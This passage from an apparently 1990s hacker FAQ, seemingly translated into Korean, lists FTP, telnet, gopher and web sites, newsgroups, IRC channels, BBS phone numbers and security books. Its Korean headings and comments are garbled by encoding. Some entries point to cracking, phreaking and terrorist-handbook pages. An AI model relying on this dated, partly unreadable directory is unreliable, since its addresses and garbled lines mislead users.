theta.iis.u-tokyo.ac.jp /pub1/security (Security)
titania.mathematik.uni-ulm.de /pub/security (Security)
toxicwaste.mit.edu /pub/rsa129/README (Breaking RSA)
ugle.unit.no
unipc20.unimed.sintef.no
vic.cc.purdue.edu
vixen.cso.uiuc.edu /security
N web.mit.edu
whacked.l0pht.com (Mac + H/P)
wimsey.bc.ca /pub/crypto (Cryptology)
N wuarchive.wustl.edu /pub/aminet/util/crypt
ÇØÄ¿¿¡°Ô °ü½É°¡´Â fsp »çÀÌÆ®´Â ¹«¾ùÀΰ¡?
None at this time.
ÇØÄ¿¿¡°Ô °ü½É°¡´Â ´º½º±×·ìÀº ¹«¾ùÀΰ¡?
alt.2600 Do it 'til it hertz
N alt.2600hz
N alt.2600.codez
N alt.2600.debate
N alt.2600.moderated
alt.cellular
alt.cellular-phone-tech Brilliant telephony mind blow netnews naming
alt.comp.virus An unmoderated forum for discussing viruses
alt.comp.virus.source.code
alt.cracks Heavy toolbelt wearers of the world, unite
alt.cyberpunk High-tech low-life.
alt.cyberspace Cyberspace and how it should work.
alt.dcom.telecom Discussion of telecommunications technology
alt.engr.explosives [no description available]
alt.fan.kevin-mitnick
alt.fan.lewiz Lewis De Payne fan club
alt.hackers Descriptions of projects currently under development
alt.hackintosh
alt.locksmithing You locked your keys in *where*?
alt.hackers.malicious The really bad guys - don't take candy from them
alt.ph.uk United Kingdom version of alt.2600
alt.privacy.anon-server Tech. & policy matters of anonymous contact servers
alt.radio.pirate Hide the gear, here comes the magic station-wagons.
alt.radio.scanner Discussion of scanning radio receivers.
alt.satellite.tv.europe All about European satellite tv
alt.security Security issues on computer systems
alt.security.index Pointers to good stuff in misc.security (Moderated)
alt.security.keydist Exchange of keys for public key encryption systems
alt.security.pgp The Pretty Good Privacy package
alt.security.ripem A secure email system illegal to export from the US
comp.dcom.cellular [no description available]
comp.dcom.telecom Telecommunications digest (Moderated)
comp.dcom.telecom.tech [no description available]
comp.org.cpsr.announce Computer Professionals for Social Responsibility
comp.org.cpsr.talk Issues of computing and social responsibility
comp.org.eff.news News from the Electronic Frontiers Foundation
comp.org.eff.talk Discussion of EFF goals, strategies, etc.
N comp.os.netware.security Netware Security issues
comp.protocols.kerberos The Kerberos authentification server
comp.protocols.tcp-ip TCP and IP network protocols
comp.risks Risks to the public from computers & users
comp.security.announce Announcements from the CERT about security
N comp.security.firewalls Anything pertaining to network firewall security
comp.security.misc Security issues of computers and networks
comp.security.unix Discussion of Unix security
comp.virus Computer viruses & security (Moderated)
de.org.ccc Mitteilungen des CCC e.V.
misc.security Security in general, not just computers (Moderated)
rec.pyrotechnics Fireworks, rocketry, safety, & other topics
rec.radio.scanner [no description available]
rec.video.cable-tv Technical and regulatory issues of cable television
sci.crypt Different methods of data en/decryption
ÇØ Ä¿¿¡°Ô °ü½É°¡´Â telnet »çÀÌÆ®´Â ¹«¾ùÀΰ¡?
anarchy-online.com
ntiabbs.ntia.doc.gov (NTIA)
l0pht.com (The L0pht)
sfpg.gcomm.com (The Floating Pancreas)
telnet lust.isca.uiowa.edu 2600 (underground bbs) (temporarily down)
pcspm2.dar.csiro.au (Virtual Doughnutland BBS)
prince.carleton.ca 31337 (Twilight of The Idols)
N spy.org (Computer Systems Consulting)
ÇØÄ¿¿¡°Ô °ü½É°¡´Â gopher »çÀÌÆ®´Â ¹«¾ùÀΰ¡?
ba.com (Bell Atlantic)
N cell-relay.indiana.edu (Cell Relay Retreat)
csrc.ncsl.nist.gov (NIST Security Gopher)
gopher.acm.org (SIGSAC (Security, Audit & Control))
gopher.cpsr.org (Computer Professionals for Social Responsibility)
gopher.eff.org (Electonic Frontier Foundation)
N gopher.panix.com (Panix)
gw.PacBell.com (Pacific Bell)
iitf.doc.gov (NITA -- IITF)
N info.itu.ch (International Telegraph Union)
ncjrs.aspensys.com (National Criminal Justice Reference Service)
oss.net (Open Source Solutions)
spy.org (Computer Systems Consulting)
wiretap.spies.com (Wiretap)
ÇØÄ¿¿¡°Ô °ü½É°¡´Â WWW »çÀÌÆ®´Â ¹«¾ùÀΰ¡?
N 134.220.198.66:8000 (Peter Strangman's)
U alcuin.plymouth.edu/~jay/underground.html (Underground Links)
U all.net (American Society for Industrial Security anagement)
alumni.caltech.edu/~dank/isdn/ (ISDN)
N asearch.mccmedia.com/www-security.html (WWW-security info)
aset.rsoc.rockwell.com (NASA/MOD AIS Security)
aset.rsoc.rockwell.com/exhibit.html (Tech. for Info Sec)
att.net/dir800 (800 directory)
ausg.dartmouth.edu/security.html (UNIX Security Topics)
N bianca.com/bump/ua (Unauthorized Access Home Page)
N ccnga.uwaterloo.ca/~jscouria/gsm.html (GSM Specification)
N cell-relay.indiana.edu/cell-relay (Cell Relay Retreat)
N ciac.llnl.gov (CIAC Web Site)
N community.net/community/all/home/solano/sbaldwin
N cs.purdue.edu/homes/spaf/coast.html (The COAST Project and Laboratory)
N csbh.mhv.net/dcypher/home.html (Dcypher's Home Page)
N csrc.ncsl.nist.gov (NIST)
N cwix.com/cwplc (Cable and Wireless)
daemon.apana.org.au/~longi/
N dcpu1.cs.york.ac.uk:6666/fisher/telecom (Embryonic Telephone History Page)
N dfw.net/~aleph1 (The Uebercracker's Security Web)
N draco.centerline.com:8080/~franl/crypto.html (Crypto)
N draco.centerline.com:8080/~franl/privacy/bacard-review.html
N enigma.pc.cc.cmu.edu/~caffeine/home.html (Caffeine's Home Page)
N everest.cs.ucdavis.edu/Security.html (UCDavis.edu Security Page)
N everest.cs.ucdavis.edu/slides/slides.html (Security Lab Slides)
ezinfo.ethz.ch/ETH/D-REOK/fsk/fsk_homepage.html (CSSCR)
N fastlane.net/homepages/thegnome (Simple Nomad)
N first.org (FIRST)
N freeside.com/phrack.html (Phrack Magazine)
N frosted.mhv.net/keytrap.html
N ftp.arpa.mil (ARPA home page)
ftp.tamu.edu/~abr8030/security.html (Security)
N grove.ufl.edu/~bytor (Bytor home page)
N hightop.nrl.navy.mil/potpourri.html (MOD Security)
N hightop.nrl.navy.mil/rainbow.html (MOD Rainbow Books)
ice-www.larc.nasa.gov/ICE/papers/hacker-crackdown.html (Sterling)
ice-www.larc.nasa.gov/ICE/papers/nis-requirements.html (ICE NIS)
info.bellcore.com/BETSI/betsi.html (Betsi)
N info.gte.com (GTE Labrotories)
N info.mcc.ac.uk/Orange (Orange)
infosec.nosc.mil/infosec.html (SPAWAR INFOSEC)
N infosec.nosc.mil/navcirt.html (NAVCIRT)
N iss.net/iss (Internet Security Systems)
N jumper.mcc.ac.uk/~afs/telecom (UK Telecom Pricing Information)
l0pht.com (The l0pht)
l0pht.com/~oblivion/IIRG.html (Phantasy Magazine)
N l0pht.com/~spacerog/index.html (Whacked Mac Archives)
N lcs.mit.edu/telecom-archives/areacodes/guide (North American Area Codes)
N lcs.mit.edu/telecom-archives/npa.800 (1-800 Info)
N lcs.mit.edu/telecom-archives/npa.900 (1-900 Info)
N lod.com (Legion of Doom)
N lod.com/~gatsby (Gatsby)
N lod.com/~tabas (Mark Tabas -- LOD)
N lod.com/~vampire/emptime7 (Empire Times)
N magicnet.net/xtabi/netscape/links/cypher.html (Cryptology)
N mars.superlink.net/user/esquire (Red box info)
matrix.resnet.upenn.edu/rourke (FakeMail FAQ)
mindlink.jolt.com (The Secrets of LockPicking)
N mindlink.net/A7657 (Stephen H Kawamoto's Home Page)
mls.saic.com (SAIC MLS)
N mnementh.cs.adfa.oz.au/Lawrie_Brown.html (Lawrie Brown's crypto bibliography)
motserv.indirect.com (Motorola)
U naic.nasa.gov/fbi (FBI information)
U nasirc.nasa.gov/NASIRC_home.html (NASIRC)
obscura.com/~loki/ (Cryptology)
ophie.hughes.american.edu/~ophie (Ophie)
oregano.sl.pitt.edu/index.htm
N outpost.callnet.com/outpost.html
pages.ripco.com:8080/~glr/glr.html (Full Disclosure)
U peg.pegasus.oz.au (EFF Australia)
N quetel.qc.ca/qt0000ag.htm (Quebec-Telephone)
N resudox.net/bio/mainpage.html (BioHazard's Home Page)
N ripco.com:8080/~glr/glr.html (Full Disclosure)
N rschp2.anu.edu.au:8080/crypt.html
N scitsc.wlv.ac.uk/~cs6171/hack (UNIX Security)
U seclab.cs.ucdavis.edu/Security.html (Security)
U seclab.cs.ucdavis.edu/slides/slides.html (Security Lab Slides)
N sfpg.gcomm.com/mitnick/mitnick.htm (3wP Kevin Mitnick WWW HomePage)
N smurfland.cit.buffalo.edu/NetMan/index.html (Network anagement)
N sunsite.unc.edu/sun/inform/sun-info.html (Sun Microsystems Sponsor Page)
N support.mayfield.hp.com (Hewlett Packard SupportLine Services)
N tamsun.tamu.edu/~clm3840/hacking.html (Hacking/Phreaking)
the-tech.mit.edu (LaMacchia case info)
N town.hall.org/university/security/stoll/cliff.html (Cliff Stoll)
turnpike.net/emporium/C/celestial/celest.html (Detective Databases 1995)
ucs.orst.edu:8001/mintro.html (Micro Power Broadcasting)
underground.org (Eubercrackers)
unixg.ubc.ca:780/~jyee/ (Cell)
w3.gti.net/safety
N web.mit.edu/network/pgp.html (Getting PGP)
N web.nec.com/products/necam/mrd/cellphones/index.html(NEC)
U weber.u.washington.edu/~phantom/cpunk/index.html (Cryptology)
N wildsau.idv.uni-linz.ac.at/~klon/underground/underground.html (Klon's Underground Links)
wintermute.itd.nrl.navy.mil/5544.html (Network Security)
N www-mitpress.mit.edu/mitp/recent-books/comp/pgp-source.html
N www-ns.rutgers.edu/www-security/index.html (Rutger's documents on WWW security)
U www-personal.engin.umich.edu/~jgotts/underground/boxes.html (Box info)
U www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html(This document)
N www-swiss.ai.mit.edu/~bal/pks-toplev.html (Findingsomeone's PGP key)
www.2600.com (2600 Magazine)
N www.8lgm.org (8lgm Security Advisories)
www.aads.net (Ameritech)
N www.access.gpo.gov/su_docs/
N www.aloha.com/~seanw/index.html
www.alw.nih.gov/WWW/security.html (Unix Security)
N www.artcom.de/CCC/hotlist.html (Chaos Computer Club Hotlist)
N www.artech-house.com/artech.html (Artech House)
N www.asg.unb.ca (Atlantic Systems Group Mosaic Index)
www.aspentec.com/~frzmtdb/fun/hacker.html
N www.aston.ac.uk/~bromejt/mobile.html (Mobile Phone Service Locator)
N www.att.com (ATT)
N www.auditel.com (Auditel)
N www.auscert.org.au (Australian CERT)
N www.axent.com/axent (Axent Technologies)
www.ba.com (Bell Atlantic)
N www.bctel.com (BC Tel)
www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.html(X-Win)
N www.bell.ca (Bell Canada)
www.bell.com (MFJ Task Force)
www.bellcore.com/SECURITY/security.html (Bellcore Security Products)
N www.border.com (Border Network Technologies)
www.brad.ac.uk/~nasmith/index.html
N www.brad.ac.uk/~nasmith/underground.html (Undergound WWW Sites)
www.bst.bls.com (BellSouth)
N www.bt.co.uk (British Telecom)
N www.business.co.uk/cellnet (Cellnet)
N www.c2.org:80/remail/by-www.html (WWW-based remailing form)
www.c3.lanl.gov/~mcn (Lanl)
www.cam.org/~gagnon (OCP's)
U www.careermosaic.com/cm/uswest (USWest)
N www.castle.net/~kobrien/telecom.html (Telecom)
N www.cco.caltech.edu/~rknop/amiga_pgp26.html
N www.cdt.org/cda.html
N www.cec.wustl.edu/~dmm2/egs/egs.html (En Garde Systems)
www.cert.dfn.de/ (German First Team)
N www.checkpoint.com (Checkpoint)
N www.chem.surrey.ac.uk/~ch11mh/secure.html (Another page on secure WWW server
setup)
N www.cis.ksu.edu/~psiber/fortress/phreak/ph2reak.html (Are You Some Kind Of PHREAK!)
www.cis.ohio-state.edu/hypertext/faq/usenet/alt-2600-faq/faq.html
N www.cityscape.co.uk/users/ek80/index.html (Inside Cable Cover)
N www.cohesive.com (Cohesive Systems)
www.commerce.net/information/standards/drafts/shttp.txt (HyperText)
www.con.wesleyan.edu/~triemer/network/docservs.html
www.contrib.andrew.cmu.edu:8001/usr/dscw/home.html
N www.cosc.georgetown.edu/~denning/crypto (The Cryptography Project)
N www.cost.se (COST Computer Security Technologies)
www.cpsr.org/home (CPSR)
N www.crimson.com/isdn/telecomacry.txt (Crimson's Telecommunications Acronyms)
N www.crtc.gc.ca (CRTC - Canadian regulator)
N www.cs.berkeley.edu/~raph/remailer-list.html (Anon remailer list)
U www.cs.cmu.edu:8001/afs/cs.cmu.edu/user/bsy/www/sec.html (CMU Security)
U www.cs.purdue.edu/coast/coast.html (Coast)
N www.cs.purdue.edu/pcert/pcert.html (PCERT)
N www.cs.tu-bs.de (Network management Tools)
www.cs.tufts.edu/~mcable/cypher/alerts/alerts.html (Cypherpunk)
www.cs.umd.edu/~lgas (Laughing Gas)
N www.cs.umd.edu/~lgas/haquerwerld/haquer-individuals.html(Haquerwerld)
www.csd.harris.com/secure_info.html (Harris)
www.csl.sri.com (SRI Computer Science Lab)
U www.csua.berekeley.edu/pub/cypherpunks/Home.html (Cryptology)
N www.cwi.nl/cwi/people/Jack.Jansen/spunk/cookbook.html
N www.cyber.co.uk/~joyrex (Joyrex Cellular)
www.cybercafe.org/cybercafe/pubtel/pubdir.html (CyberCafe)
N www.cygnus.com/~gnu/export.html (Cryptography Export Control Archives)
U www.datafellows.fi (Data Fellows (F-Prot)
N www.datasync.com/~sotmesc/sotmesc.html (SotMESC)
N www.dcs.exeter.ac.uk/~aba (Cypherpunk)
www.dct.ac.uk/~misb3cp/2600/faq.txt
N www.demon.co.uk/mobiles (C.C.Mobiles)
N www.dhp.com (DataHaven Project)
N www.dhp.com/~pluvius (Pluvius' Home Page)
U www.digicash.com/ecash/ecash-home.html (Ecash Home Page)
www.digital.com/info/key-secure-index.html (Digital Secure Systems)
www.dnai.com/~gui/index.html
N www.dtic.dla.mil/defenselink (Office of the U.S. Secretary of Defense
(OSD)
N www.dtic.dla.mil/iac (DoD Information Analysis Center (IAC)
Hub Page)
N www.eecs.nwu.edu/~jmyers/bugtraq/about.html
N www.eecs.nwu.edu/~jmyers/bugtraq/archives.html
www.eecs.nwu.edu/~jmyers/bugtraq/index.html (Bugtraq)
www.eecs.nwu.edu/~jmyers/ids/index.html (Intrusion Detection Systems)
N www.eff.org
N www.eff.org/pub/Alerts
N www.eff.org/pub/Net_info/Tools/Crypto/
www.emap.co.uk/partners/racal-airtech (Racal-Airtech)
www.ensta.fr/internet/unix/sys_admin (System administration)
N www.epic.org
N www.ericsson.nl (Ericsson)
www.etext.org/Zines/ (Zines)
N www.farmstead.com (Farmstead)
U www.fbi.gov/fbi/FBI_homepage.html (FBI Homepage)
www.fc.net/defcon (DefCon)
www.fedworld.gov (Federal Government)
www.first.org/first/ (FIRST)
N www.fonorola.net (Fonorola (a Canadian carrier)
N www.frus.com (Firewalls R Us)
www.gbnet.net/kbridge (KarlBridge)
www.getnet.com/crak (CRAK Software)
N www.getnet.com/~vision
N www.gold.net/users/cw78 (FleXtel)
www.greatcircle.com (Great Circle Associates)
N www.gsu.edu/~socrerx/catalog.html
N www.gta.com/index.html (Global Technology Associates)
N www.gti.net/grayarea (Gray Areas)
U www.hotwired.com (Wired Magazine)
www.hpcc.gov/blue94/section.4.6.html (NSA)
N www.hq2.telecom.ie (Telecom Eireann)
N www.iacr.org/~iacr (International Association of Cryptologic
Research (IACR)
N www.ibmpcug.co.uk/~Vidtron (Videotron)
N www.ic.gov (Central Intelligence Agency Home Page)
N www.ifi.uio.no/~staalesc/PGP/home.html
N www.iia.org/~gautier/me.html (Rich Gautier's Home Page)
N www.indirect.com/www/evildawg
www.indirect.com/www/johnk/ (CRAK Software)
N www.ingress.com (Ingress Communications)
N www.interaccess.com/trc/tsa.html
N www.io.org/~djcl/phoneb.html
N www.iquest.net/~oseidler (Oliver Seidler's WWW Page)
N www.itd.nrl.navy.mil/ITD/5540 (NRL Center for High Assurance Computer
Systems)
N www.itu.ch/TELECOM (Telecom '95)
N www.jagunet.com/~john/
N www.jedefense.com/jed.html (Journal of Electronic Defense)
N www.l0pht.com/cdc.html (Cult of the Dead Cow)
N www.l0pht.com/radiophone (Radiophone Archive)
N www.l0pht.com/~oblivion/IIRG.html (International Information Retrieval Guild
Archive Site)
N www.lat.com (Los Altos Technologies)
www.lerc.nasa.gov/Unix_Team/Dist_Computing_Security.html (Security)
N www.lib.iup.edu/~seaman/hack/bone.html (Bone's H/P/C page o' rama)
N www.links.net
N www.louisville.edu/~wrbake01 (The GodZ of CyberSpacE)
www.lysator.liu.se:7500/mit-guide/mit-guide.html (Lockpicking Guide)
www.lysator.liu.se:7500/terror/thb_title.html (Terrorists Handbook)
www.magi.com/~vektor/linenoiz.html
N www.mastercard.com (Secure Electronic Payment Protocol)
www.mcs.com/~candyman/http/radio.html (Radar)
www.mcs.com/~candyman/under.html (Cell)
N www.mcs.net/~candyman (H/P)
www.mgmua.com/hackers/index.html (Hackers, the movie)
N www.milkyway.com (Milkyway Networks Corporation)
N www.mit.edu:8001/people/warlord/pgp-faq.html (PGP 2.6.2 FAQ, Buglist, Fixes, and
Improvements)
N www.monmouth.com/~jshahom (The Insomniac's Home Page)
N www.mot.com (Motorola)
www.mpr.ca/ (MPR Teltech Ltd)
N www.msen.com/~emv/tubed/spoofing.html (Info on IP spoofing attacks)
N www.mwjournal.com/mwj.html (Microwave Journal)
N www.ncsa.uiuc.edu/SDG/Software/Mosaic/Docs/security.html(Security in Mosaic)
N www.ncsl.nist.gov (NIST Computer Systems Laboratory)
www.net23.com (Max Headroom)
N www.netpart.com (NetPartners)
www.netresponse.com:80/zldf/
N www.nic.surfnet.nl/surfnet/security/cert-nl.html(CERT-NL)
www.nist.gov (NIST)
N www.nokia.com (Nokia)
N www.nortel.com (Northern Telecom)
www.ntt.jp (Nippon Telephone)
N www.nynex.co.uk/nynex (NYNEX)
U www.odci.gov (The CIA)
N www.one2one.co.uk (Mercury One-2-One)
N www.open.gov.uk/oftel/oftelwww/oftelhm.htm (OFTEL's Home Page)
www.openmarket.com/info/cryptography/applied_cryptography.html
www.pacbell.com (Pacific Bell)
N www.panix.com/vtw
www.paranoia.com/astrostar/fringe.html
N www.paranoia.com/hpa (Paranoia's H/P/A Links)
www.paranoia.com/mthreat (ToneLoc)
N www.paranoia.com/~coldfire (Cold Fire's Web Page)
N www.paranoia.com/~darkfox (Darkfox's Home Page)
N www.paranoia.com/~ice9 (Ice-9's Home Page)
www.pegasus.esprit.ec.org/people/arne/pgp.html (PGP)
N www.phantom.com/~darkcyde (DarkCyde)
N www.phantom.com/~king (Randy King's WWW Page)
N www.phillips.com (Phillips Electronics)
N www.phred.org (The Phred Networking Organization)
N www.pic.net/uniloc/starlink (Starlink)
www.planet.net/onkeld (BlueBeep Home Page)
www.primenet.com/~kludge/haqr.html (Kludge)
www.quadralay.com/www/Crypt/Crypt.html (Quadralay Cryptography)
www.qualcomm.com/cdma/wireless.html (Qualcomm CDMA)
N www.ramp.com/~lcs/winpgp.html (PGP with MS/Win)
N www.raptor.com (Raptor)
www.raptor.com/raptor/raptor.html (Raptor Network Isolator)
www.research.att.com (AT&T)
N www.rocksoft.com/~ross (Rocksoft Pty (Veracity)
N www.rogers.com (Rogers Communications)
www.rsa.com (RSA Data Security)
N www.sasknet.sk.ca/Pages/sktlhome.html (SaskTel)
www.satelnet.org/~ccappuc
N www.sccsi.com/lsli/lsli.homepage.html (PORTUS)
N www.sctc.com (Secure Computing Corporation)
www.seas.upenn.edu/~rourkem (FakeMail FAQ)
N www.seduction.com
N www.sei.cmu.edu/SEI/programs/cert.html (CERT Coordination Center)
N www.service.com/cm/uswest/usw1.html (USWest)
N www.shore.net/~eskwired/hp.html
N www.soci.niu.edu/~cudigest
N www.somar.com (Somar Software)
N www.soscorp.com (Sources of Supply Corp)
www.spatz.com/pecos/index.html (The World of Hacking)
www.spy.org (Computer Systems Consulting)
N www.spy.org (spy.org)
www.sri.com (SRI)
N www.stentor.ca (Stentor (Canadian telcos)
N www.tecc.co.uk/public/uk-telecom/btns.html (BT "star services")
N www.telecoms-mag.com/tcs.html (Telecommunications agazine)
N www.telkom.co.za (Telkom S.A. Ltd)
www.telstra.com.au/info/security.html (Security Reference Index)
N www.teresa.com
www.tezcat.com/web/security/security_top_level.html
N www.tiac.net/users/triad/philes/jokai.html (Jokai Reservation for the Preservation of the
1st Amendment)
N www.ticllc.net/~scrtnizr
www.tis.com (Trusted Information Systems)
N www.trcone.com/t_crookb.html (CrookBook)
N www.tregistry.com/ttr (Telecomunications Training Courses)
www.tri.sbc.com (Southwestern Bell)
www.tricon.net/Comm/synapse (Synapse Magazine)
www.tufts.edu/~jpagano/
N www.uccs.edu/~abusby/hpawebsites.html
N www.uccs.edu/~abusby/k0p.html (kn0wledge phreak)
www.uci.agh.edu.pl/pub/security (Security)
N www.uknet.net/pnc (The Personal Number Company)
www.umcc.umich.edu/~doug/virus-faq.html (Virus)
N www.underground.org (underground.org)
N www.underground.org/bugs/
www.usfca.edu/crackdown/crack.html (Hacker Crackdown)
N www.vodafone.co.uk (Vodafone)
N www.vptt.ch/natel.html (Natel)
U www.wam.umd.edu/~ankh/public/devil_does_unix
N www.warwick.ac.uk/WWW/search/Phones/nng.html (National Number Group Codes)
N www.well.com/user/abacard
N www.well.com/user/crunch (Captain Crunch)
N www.wfu.edu/~wilsonbd
www.wiltel.com (Wiltel)
N www.wiltel.com/glossary/glossary.html (Telecommunications Glossary)
N www.wired.com (HotWired)
N www2.undernet.org:8080/~cs93jtl/IRC.html (IRC)
In addition to browsing these fine pages, you can often find what you
are looking for by using one of these automated search engines:
www.yahoo.com
www.lycos.com
www.webcrawler.com
ÇØÄ¿¿¡°Ô °ü½É°¡´Â IRC ä³ÎÀº ¹«¾ùÀΰ¡?
#2600
#cellular
#hack
#phreak
#linux
#realhack
#root
#unix
#warez
ÇØÄ¿¿¡°Ô °ü½É°¡´Â BBS´Â ¹«¾ùÀΰ¡?
Rune Stone (203)832-8441 NUP: Cyberdeck
The Truth Sayer's Domain (210)493-9975
Hacker's Haven (303)343-4053
Independent Nation (413)573-1809
Ut0PiA (315)656-5135
underworld_1994.com (514)683-1894
Alliance Communications (612)251-8596
Maas-Neotek (617)855-2923
Apocalypse 2000 (708)676-9855
K0dE Ab0dE (713)579-2276
fARM R0Ad 666 (713)855-0261
kn0wledge Phreak <k0p> BBS (719)578-8288 NUP=NO NUP
N The Edge of Reality (805)496-7460
Static Line (806)747-0802
Area 51 (908)526-4384
N The Drunk Forces +972-3-5733477
ÇØÄ¿¿¡°Ô °ü½É°¡´Â Ã¥Àº ¹«¾ùÀΰ¡?
General Computer Security
~~~~~~~~~~~~~~~~~~~~~~~~~
Computer Security Basics
Author: Deborah Russell and G.T. Gengemi Sr.
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-71-4
¶Ù¾î³ Ã¥ÀÌ´Ù.
¼¼¼¼ÇÑ ºÎºÐÀÌ ºüÁöÁö ¾Ê°í ÀüüÀûÀÎ ÄÄÇ»ÅÍ º¸¾È¿¡ ´ëÇÑ Á¶°¨À» ÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù.
Ãʺ¸ º¸¾È Àü¹®°¡¿¡°Ô Çʵ¶¼ÀÌ´Ù.
Information Systems Security
Author: Philip Fites and Martin Kratz
Publisher: Van Nostrad Reinhold
Copyright Date: 1993
ISBN: 0-442-00180-0
Computer Related Risks
Author: Peter G. Neumann
Publisher: Addison-Wesley
Copyright Date: 1995
ISBN: 0-201-55805-X
Computer Security Management
Author: Karen Forcht
Publisher: boyd & fraser publishing company
Copyright Date: 1994
ISBN: 0-87835-881-1
The Stephen Cobb Complete Book of PC and LAN Security
Author: Stephen Cobb
Publisher: Windcrest Books
Copyright Date: 1992
ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)
Security in Computing
Author: Charles P. Pfleeger
Publisher: Prentice Hall
Copyright Date: 1989
ISBN: 0-13-798943-1.
Building a Secure Computer System
Author: Morrie Gasser
Publisher: Van Nostrand Reinhold Co., New York.
Copyright Date:
ISBN: 0-442-23022-2
Modern Methods for Computer Security
Author: Lance Hoffman
Publisher: Prentice Hall
Copyright Date: 1977
ISBN:
Windows NT 3.5 Guidelines for Security, Audit and Control
Author:
Publisher: Microsoft Press
Copyright Date:
ISBN: 1-55615-814-9
Protection and Security on the Information Superhighway
Author: Dr. Frederick B. Cohen)
Publisher: John Wiley & Sons
Copyright Date: 1995
ISBN: 0-471-11389-1
N Commonsense Computer Security
Author: Martin Smith
Publisher: McGraw-Hill
Copyright Date: 1993
ISBN: 0-07-707805-5
N Combatting Computer Crime
Author: Jerry Papke
Publisher: McGraw-Hill, Inc. / Chantico Publishing Company, Inc.
Copyright Date: 1992
ISBN: 0-8306-7664-3
N Computer Crime: a Crimefighters Handbook
Author: David Icove, Karl Seger and William VonStorch
Publisher: O'Reilly & Associates
Copyright Date: 1995
ISBN: 1-56592-086-4
Unix System Security
~~~~~~~~~~~~~~~~~~~~
Practical Unix Security
Author: Simson Garfinkel and Gene Spafford
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-72-2
Firewalls and Internet Security
Author: William Cheswick and Steven Bellovin
Publisher: Addison Wesley
Copyright Date: 1994
ISBN: 0-201-63357-4
Unix System Security
Author: Rik Farrow
Publisher: Addison Wesley
Copyright Date: 1991
ISBN: 0-201-57030-0
Unix Security: A Practical Tutorial
Author: N. Derek Arnold
Publisher: McGraw Hill
Copyright Date: 1993
ISBN: 0-07-002560-6
Unix System Security: A Guide for Users and Systems Administrators
Author: David A. Curry
Publisher: Addison-Wesley
Copyright Date: 1992
ISBN: 0-201-56327-4
Unix System Security
Author: Patrick H. Wood and Stephen G. Kochan
Publisher: Hayden Books
Copyright Date: 1985
ISBN: 0-672-48494-3
Unix Security for the Organization
Author: Richard Bryant
Publisher: Sams
Copyright Date: 1994
ISBN: 0-672-30571-2
N Building Internet Firewalls
Author: D. Brent Chapman and Elizabeth D. Zwicky
Publisher: O'Reilly and Associates, Inc.
Copyright Date: 1995
ISBN: 1-56592-124-0
N Unix System Security Essentials
Author: Christopher Braun
Publisher: Addison Wesley
Copyright Date: 1995
ISBN: 0-201-42775-3
N Internet Firewalls and Network Security
Author: Karanjit S. Siyan and Chris Hare
Publisher: New Riders Publishing
Copyright Date: 1995
ISBN: 1-56205-437-6
Network Security
~~~~~~~~~~~~~~~~
Network Security Secrets
Author: David J. Stang and Sylvia Moon
Publisher: IDG Books
Copyright Date: 1993
ISBN: 1-56884-021-7
¿ÏÀü Á¾ÀÌ ³¶ºñ´Â ¾Æ´ÏÁö¸¸, $49.95ÀÇ ±¸ÀÔ°¡°ÝÀº ³Ê¹« ºñ½Î´Ù.
ÀÌ Ã¥Àº ÀÌ¹Ì ÃâÆÇµÈ Á¤º¸¸¦ Àç ¹è¿ÇÑ °ÍÀÌ´Ù.
ÀÌ Ã¥À» ÀÐ¾î¼ ¾Ë ¼ö ÀÖ´Â À¯ÀÏÇÑ ºñ¹ÐÀº ÀþÀº ¿©ÀÚÀÎ
Sylvia MoonÀÌ David StangÀ̶õ ³ªÀÌµç »ç¶÷À» ¹ÌÄ£ µíÀÌ »ç¶ûÇÑ´Ù´Â °ÍÀÌ´Ù.
Complete Lan Security and Control
Author: Peter Davis
Publisher: Windcrest / McGraw Hill
Copyright Date: 1994
ISBN: 0-8306-4548-9 and 0-8306-4549-7
Network Security
Author: Steven Shaffer and Alan Simon
Publisher: AP Professional
Copyright Date: 1994
ISBN: 0-12-638010-4
N Network Security: How to Plan For It and How to Achieve It
Author: Richard M. Baker
Publisher: McGraw-Hill, Inc.
Copyright Date:
ISBN: 0-07-005141-0
N Network Security
Author: Steven L. Shaffer and Alan R. Simon
Publisher: Academic Press
Copyright Date: 1994
ISBN: 0-12-638010-4
N Network Security: Private Communications in a Public World
Author: Charlie Kaufman, Radia Perlman and Mike Speciner
Publisher: Prentice Hall
Copyright Date: 1995
ISBN: 0-13-061466-1
N Network and Internetwork Security: Principles and Practice
Author: William Stallings
Publisher: Prentice Hall
Copyright Date: 1995
ISBN: 0-02-415483-0
N Implementing Internet Security
Author: William Stallings
Publisher: New Rider Publishing
Copyright Date: 1995
ISBN: 1-56205-471-6
N Actually Useful Internet Security Techniques
Author: Larry J. Hughes, Jr.
Publisher: New Riders Publishing
Copyright Date: 1995
ISBN: 1-56205-508-9
Cryptology
~~~~~~~~~~~~
Applied Cryptography: Protocols, Algorithms, and Source Code in C
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-59756-2
Bruce SchneierÀÇ Ã¥ÀÌ ´Ù¸¥ ¸ðÀº ¾ÏÈ£Çп¡ °üÇÑ Ã¥À» ´ëüÇØ ¹ö·È´Ù.
¾ÏÈ£Çп¡ °ü½ÉÀÌ ÀÖ´Ù¸é Çʵ¶¼ÀÌ´Ù.
¾ÏÈ£Çп¡ °ü·ÃÇؼ »ç¾ßÇÒ Ã³À½ÀÌÀÚ ¸¶Áö¸· Ã¥ÀÌ´Ù.
Cryptography and Data Security
Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co.
Copyright Date: 1982
ISBN: 0-201-10150-5
Protect Your Privacy: A Guide for PGP Users
Author: William Stallings
Publisher: Prentice-Hall
Copyright Date: 1994
ISBN: 0-13-185596-4
Codebreakers
Author: Kahn
Publisher: Simon and Schuster
Copyright Date:
ISBN:0-02-560460-0
Codebreakers: The Inside Story of Bletchley Park
Author: Francis Harry Hinsley and Alan Stripp
Publisher: Oxford University Press,
Copyright Date: 1993
ISBN:0-19-285304-X
Cryptanalysis, a study of ciphers and their solution
Author: Gaines, Helen Fouche
Publisher: Dover Publications
Copyright Date: 1956
ISBN:
N Computer Privacy Handbook
Author: Andre' Bacard
Publisher: Peachpit Press
Copyright Date: 1995
ISBN: 1-56609-171-3
N E-Mail Security with PGP and PEM
